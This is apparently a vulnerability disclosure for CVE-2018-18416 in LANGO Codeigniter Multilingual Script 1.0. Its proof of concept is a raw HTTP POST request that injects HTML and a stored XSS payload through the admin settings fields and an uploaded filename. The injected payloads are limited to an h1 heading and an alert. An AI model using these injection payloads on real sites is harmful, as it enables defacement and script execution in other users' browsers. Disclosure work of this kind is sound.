LANGO Codeigniter Multilingual Script 1.0 Cross Site Scripting

`# Exploit Title: LANGO - Codeigniter Multilingual Script 1.0 - HTML Injection and Stored XSS  
# Date: 2018-10-16  
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: http://pokkho.com/lango/  
# Software Link : http://pokkho.com/lango/auth/login  
# Software : LANGO - Codeigniter Multilingual Script  
# Version : 1.0  
# Vulernability Type : Code Injection  
# Vulenrability : HTML Injection and Stored XSS  
# CVE : CVE-2018-18416  
  
# LANGO Codeigniter Multilingual Script 1.0 has XSS in the input and upload sections, as demonstrated by the  
# site_name parameter to the admin/settings/update URI.  
  
  
# HTTP POST Request :  
  
POST /lango/admin/settings/update HTTP/1.1  
Host: pokkho.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://pokkho.com/lango/admin/settings  
Content-Type: multipart/form-data; boundary=---------------------------180989082911182658591910516947  
Content-Length: 3150615  
Cookie: csrf_cookie_name=4eeae5fca11e4ae108d667b67b52a0b3; ci_session=7ghu11a49n5ethf596t6g1ec5kfscncp  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------180989082911182658591910516947  
Content-Disposition: form-data; name="site_name"  
  
"><h1>Ismail Tasdelen</h1>  
-----------------------------180989082911182658591910516947  
Content-Disposition: form-data; name="site_title"  
  
"><h1>Ismail Tasdelen</h1>  
-----------------------------180989082911182658591910516947  
Content-Disposition: form-data; name="keywords"  
  
Multilanguage ,Codeigniter Multilanguage Script,"><h1>Ismail Tasdelen</h1>  
-----------------------------180989082911182658591910516947  
Content-Disposition: form-data; name="description"  
  
"><h1>Ismail Tasdelen</h1>  
-----------------------------180989082911182658591910516947  
Content-Disposition: form-data; name="photo1"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"  
Content-Type: image/jpeg  
`